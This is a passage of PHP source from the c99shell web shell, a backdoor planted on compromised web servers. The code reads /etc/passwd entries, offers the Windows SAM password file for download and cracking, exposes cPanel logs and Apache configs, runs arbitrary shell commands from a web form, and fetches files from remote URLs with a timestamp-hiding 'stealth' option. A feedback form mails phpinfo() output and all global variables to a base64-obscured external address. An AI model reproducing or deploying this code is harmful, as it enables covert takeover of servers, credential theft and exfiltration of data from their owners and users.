  1495.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1496.    echo "<b>*nix /etc/passwd:</b><br>";
  1497.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1498.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1499.    echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>";
  1500.    $i = $nixpwd_s;
  1501.    while ($i < $nixpwd_e)
  1502.    {
  1503.     $uid = posix_getpwuid($i);
  1504.     if ($uid)
  1505.     {
  1506.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1507.      echo join(":",$uid)."<br>";
  1508.     }
  1509.     $i++;
  1510.    }
  1511.   }
  1512.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1513.  }
  1514.  else
  1515.  {
  1516.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1517.   if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";}
  1518.   else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
  1519.  }
  1520.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1521.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1522.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1523.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1524. }
  1525. if ($act == "mkfile")
  1526. {
  1527.  if ($mkfile != $d)
  1528.  {
  1529.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1530.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1531.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1532.  }
  1533.  else {$act = $dspact = "ls";}
  1534. }
  1535. if ($act == "encoder")
  1536. {
  1537.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1538.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1539.  {
  1540.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1541.  }
  1542.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1543. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly>
  1544. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1545.  echo "<center>base64_decode - ";
  1546.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1547.  else
  1548.  {
  1549.   $debase64 = base64_decode($encoder_input);
  1550.   $debase64 = str_replace("\0","[0]",$debase64);
  1551.   $a = explode("\r\n",$debase64);
  1552.   $rows = count($a);
  1553.   $debase64 = htmlspecialchars($debase64);
  1554.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1555.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1556.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1557.  }
  1558.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1559.  $c = strlen($encoder_input);
  1560.  for($i=0;$i<$c;$i++)
  1561.  {
  1562.   $hex = dechex(ord($encoder_input[$i]));
  1563.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1564.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1565.  }
  1566.  echo "\" readonly><br></center></form>";
  1567. }
  1568. if ($act == "fsbuff")
  1569. {
  1570.  $arr_copy = $sess_data["copy"];
  1571.  $arr_cut = $sess_data["cut"];
  1572.  $arr = array_merge($arr_copy,$arr_cut);
  1573.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1574.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
  1575. }
  1576. if ($act == "selfremove")
  1577. {
  1578.  if (($submit == $rndcode) and ($submit != ""))
  1579.  {
  1580.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; }
  1581.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1582.  }
  1583.  else
  1584.  {
  1585.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1586.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1587.   echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>";
  1588.  }
  1589. }
  1590. if ($act == "feedback")
  1591. {
  1592.  $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU=");
  1593.  if (!empty($submit))
  1594.  {
  1595.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1596.   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1597.   if (!empty($fdbk_ref))
  1598.   {
  1599.    $tmp = @ob_get_contents();
  1600.    ob_clean();
  1601.    phpinfo();
  1602.    $phpinfo = base64_encode(ob_get_contents());
  1603.    ob_clean();
  1604.    echo $tmp;
  1605.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1606.   }
  1607.   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1608.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1609.  }
  1610.  else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1611. }
  1612. if ($act == "search")
  1613. {
  1614.  echo "<b>Search in file-system:</b><br>";
  1615.  if (empty($search_in)) {$search_in = $d;}
  1616.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1617.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1618.  if (!empty($submit))
  1619.  {
  1620.   $found = array();
  1621.   $found_d = 0;
  1622.   $found_f = 0;
  1623.   $search_i_f = 0;
  1624.   $search_i_d = 0;
  1625.   $a = array
  1626.   (
  1627.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1628.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1629.    "text_wwo"=>$search_text_wwo,
  1630.    "text_cs"=>$search_text_cs,
  1631.    "text_not"=>$search_text_not
  1632.   );
  1633.   $searchtime = getmicrotime();
  1634.   $in = array_unique(explode(";",$search_in));
  1635.   foreach($in as $v) {c99fsearch($v);}
  1636.   $searchtime = round(getmicrotime()-$searchtime,4);
  1637.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1638.   else
  1639.   {
  1640.    $ls_arr = $found;
  1641.    $disp_fullpath = true;
  1642.    $act = "ls";
  1643.   }
  1644.  }
  1645.  echo "<form method=\"POST\">
  1646. <input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\">
  1647. <b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp
  1648. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1649. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  1650. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp
  1651. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only
  1652. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive
  1653. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text
  1654. <br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>";
  1655.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1656. }
  1657. if ($act == "chmod")
  1658. {
  1659.  $mode = fileperms($d.$f);
  1660.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1661.  else
  1662.  {
  1663.   $form = true;
  1664.   if ($chmod_submit)
  1665.   {
  1666.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1667.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
  1668.    else {$err = "Can't chmod to ".$octet.".";}
  1669.   }
  1670.   if ($form)
  1671.   {
  1672.    $perms = parse_perms($mode);
  1673.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1674.   }
  1675.  }
  1676. }
  1677. if ($act == "upload")
  1678. {
  1679.  $uploadmess = "";
  1680.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1681.  if (empty($uploadpath)) {$uploadpath = $d;}
  1682.  elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";}
  1683.  if (!empty($submit))
  1684.  {
  1685.   global $HTTP_POST_FILES;
  1686.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1687.   if (!empty($uploadfile["tmp_name"]))
  1688.   {
  1689.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1690.    else {$destin = $userfilename;}
  1691.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  1692.   }
  1693.   elseif (!empty($uploadurl))
  1694.   {
  1695.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1696.    else
  1697.    {
  1698.     $destin = explode("/",$destin);
  1699.     $destin = $destin[count($destin)-1];
  1700.     if (empty($destin))
  1701.     {
  1702.      $i = 0;
  1703.      $b = "";
  1704.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1705.    }
  1706.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1707.    else
  1708.    {
  1709.     $st = getmicrotime();
  1710.     $content = @file_get_contents($uploadurl);
  1711.     $dt = round(getmicrotime()-$st,4);
  1712.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  1713.     else
  1714.     {
  1715.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1716.      $fp = fopen($uploadpath.$destin,"w");
  1717.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1718.      else
  1719.      {
  1720.       fwrite($fp,$content,strlen($content));
  1721.       fclose($fp);
  1722.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1723.      }
  1724.     }
  1725.    }
  1726.   }
  1727.  }
  1728.  if ($miniform)
  1729.  {
  1730.   echo "<b>".$uploadmess."</b>";
  1731.   $act = "ls";
  1732.  }
  1733.  else
  1734.  {
  1735.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\">
  1736. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1737. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1738. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1739. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1740. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1741. <input type=\"submit\" name=\"submit\" value=\"Upload\">
  1742. </form>";
  1743.  }
  1744. }
  1745. if ($act == "delete")
  1746. {
  1747.  $delerr = "";
  1748.  foreach ($actbox as $v)
  1749.  {
  1750.   $result = false;
  1751.   $result = fs_rmobj($v);
  1752.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1753.  }
  1754.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1755.  $act = "ls";
  1756. }
  1757. if (!$usefsbuff)
  1758. {
  1759.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1760. }
  1761. else
  1762. {
  1763.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  1764.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  1765.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  1766.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  1767.  elseif ($actpastebuff)
  1768.  {
  1769.   $psterr = "";
  1770.   foreach($sess_data["copy"] as $k=>$v)
  1771.   {
  1772.    $to = $d.basename($v);
  1773.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1774.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1775.   }
  1776.   foreach($sess_data["cut"] as $k=>$v)
  1777.   {
  1778.    $to = $d.basename($v);
  1779.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1780.    unset($sess_data["cut"][$k]);
  1781.   }
  1782.   c99_sess_put($sess_data);
  1783.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1784.   $act = "ls";
  1785.  }
  1786.  elseif ($actarcbuff)
  1787.  {
  1788.   $arcerr = "";
  1789.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1790.   else {$ext = ".tar.gz";}
  1791.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1792.   $cmdline .= " ".$actarcbuff_path;
  1793.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1794.   foreach($objects as $v)
  1795.   {
  1796.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1797.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1798.    if (is_dir($v))
  1799.    {
  1800.     if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1801.     $v .= "*";
  1802.    }
  1803.    $cmdline .= " ".$v;
  1804.   }
  1805.   $tmp = realpath(".");
  1806.   chdir($d);
  1807.   $ret = myshellexec($cmdline);
  1808.   chdir($tmp);
  1809.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1810.   $ret = str_replace("\r\n","\n",$ret);
  1811.   $ret = explode("\n",$ret);
  1812.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1813.   foreach($sess_data["cut"] as $k=>$v)
  1814.   {
  1815.    if (in_array($v,$ret)) {fs_rmobj($v);}
  1816.    unset($sess_data["cut"][$k]);
  1817.   }
  1818.   c99_sess_put($sess_data);
  1819.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1820.   $act = "ls";
  1821.  }
  1822.  elseif ($actpastebuff)
  1823.  {
  1824.   $psterr = "";
  1825.   foreach($sess_data["copy"] as $k=>$v)
  1826.   {
  1827.    $to = $d.basename($v);
  1828.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1829.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1830.   }
  1831.   foreach($sess_data["cut"] as $k=>$v)
  1832.   {
  1833.    $to = $d.basename($v);
  1834.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1835.    unset($sess_data["cut"][$k]);
  1836.   }
  1837.   c99_sess_put($sess_data);
  1838.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1839.   $act = "ls";
  1840.  }
  1841. }
  1842. if ($act == "cmd")
  1843. {
  1844. if (trim($cmd) == "ps -aux") {$act = "ps_aux";}
  1845. else
  1846. {
  1847.  @chdir($chdir);
  1848.  if (!empty($submit))
  1849.  {
  1850.   echo "<b>Result of execution this command</b>:<br>";
  1851.   $olddir = realpath(".");
  1852.   @chdir($d);
  1853.   $ret = myshellexec($cmd);
  1854.   $ret = convert_cyr_string($ret,"d","w");
  1855.   if ($cmd_txt)
  1856.   {
  1857.    $rows = count(explode("\r\n",$ret))+1;
  1858.    if ($rows < 10) {$rows = 10;}
  1859.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1860.   }
  1861.   else {echo $ret."<br>";}
  1862.   @chdir($olddir);
  1863.  }
  1864.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
  1865.  echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1866. }
  1867. }
  1868. if ($act == "ls")
  1869. {
  1870.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1871.  else
  1872.  {
  1873.   $list = array();
  1874.   if ($h = @opendir($d))
  1875.   {
  1876.    while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
  1877.    closedir($h);
  1878.   }
  1879.  }
  1880.  if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";}
  1881.  else
  1882.  {
  1883.   //Building array
  1884.   $objects = array();
  1885.   $vd = "f"; //Viewing mode
  1886.   if ($vd == "f")
  1887.   {
  1888.    $objects["head"] = array();
  1889.    $objects["dirs"] = array();
  1890.    $objects["links"] = array();
  1891.    $objects["files"] = array();
  1892.    foreach ($list as $v)
  1893.    {
  1894.     $o = basename($v);
  1895.     $row = array();
  1896.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1897.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1898.     elseif (is_dir($v))
  1899.     {
  1900.      if (is_link($v)) {$type = "LINK";}
  1901.      else {$type = "DIR";}
  1902.      $row[] = $v;
  1903.      $row[] = $type;
  1904.     }
  1905.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1906.     $row[] = filemtime($v);
  1907.     if (!$win)
  1908.     {
  1909.      $ow = @posix_getpwuid(fileowner($v));
  1910.      $gr = @posix_getgrgid(filegroup($v));
  1911.      $row[] = $ow["name"]."/".$gr["name"];
  1912.      $row[] = fileowner($v)."/".filegroup($v);
  1913.     }
  1914.     $row[] = fileperms($v);
  1915.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1916.     elseif (is_link($v)) {$objects["links"][] = $row;}
  1917.     elseif (is_dir($v)) {$objects["dirs"][] = $row;}
  1918.     elseif (is_file($v)) {$objects["files"][] = $row;}
  1919.    }
  1920.    $row = array();
  1921.    $row[] = "<b>Name</b>";
  1922.    $row[] = "<b>Size</b>";
  1923.    $row[] = "<b>Modify</b>";
  1924.    if (!$win)
  1925.   {$row[] = "<b>Owner/Group</b>";}
  1926.    $row[] = "<b>Perms</b>";
  1927.    $row[] = "<b>Action</b>";
  1928.    $k = $sort[0];
  1929.    if (!is_numeric($k)) {$k = $sort[0] = 0;}
  1930.    if ($sort[1] != "a") {$sort[1] = "d";}
  1931.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">";
  1932.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1933.    $row[$k] .= $y;
  1934.    for($i=0;$i<count($row)-1;$i++)
  1935.    {
  1936.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";}
  1937.    }
  1938.    $v = $sort[0];
  1939.    usort($objects["dirs"], "tabsort");
  1940.    usort($objects["links"], "tabsort");
  1941.    usort($objects["files"], "tabsort");
  1942.    if ($sort[1] == "d")
  1943.    {
  1944.     $objects["dirs"] = array_reverse($objects[dirs]);
  1945.     $objects["files"] = array_reverse($objects[files]);
  1946.    }
  1947.    $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]);
  1948.    $tab = array();
  1949.    $tab["cols"] = array($row);
  1950.    $tab["head"] = array();
  1951.    $tab["dirs"] = array();
  1952.    $tab["links"] = array();
  1953.    $tab["files"] = array();
  1954.    foreach ($objects as $a)
  1955.    {
  1956.     $v = $a[0];
  1957.     $o = basename($v);
  1958.     $dir = dirname($v);
  1959.     if ($disp_fullpath) {$disppath = $v;}
  1960.     else {$disppath = $o;}
  1961.     $disppath = str2mini($disppath,60);
  1962.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1963.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1964.     foreach ($regxp_highlight as $r)
  1965.     {
  1966.      if (ereg($r[0],$o))
  1967.      {
  1968.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;}
  1969.       else
  1970.       {
  1971.        $r[1] = round($r[1]);
  1972.        $isdir = is_dir($v);
  1973.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  1974.        {
  1975.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1976.         $disppath = $r[2].$disppath.$r[3];
  1977.         if ($r[4]) {break;}
  1978.        }
  1979.       }
  1980.      }
  1981.     }
  1982.     $uo = urlencode($o);
  1983.     $ud = urlencode($dir);
  1984.     $uv = urlencode($v);
  1985.     $row = array();
  1986.     if ($o == ".")
  1987.     {
  1988.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>";
  1989.      $row[] = "LINK";
  1990.     }
  1991.     elseif ($o == "..")
  1992.     {
  1993.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  1994.      $row[] = "LINK";
  1995.     }
  1996.     elseif (is_dir($v))
  1997.     {
  1998.      if (is_link($v))
  1999.      {
  2000.       $disppath .= " => ".readlink($v);
  2001.       $type = "LINK";
  2002.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2003.      }
  2004.      else
  2005.      {
  2006.       $type = "DIR";
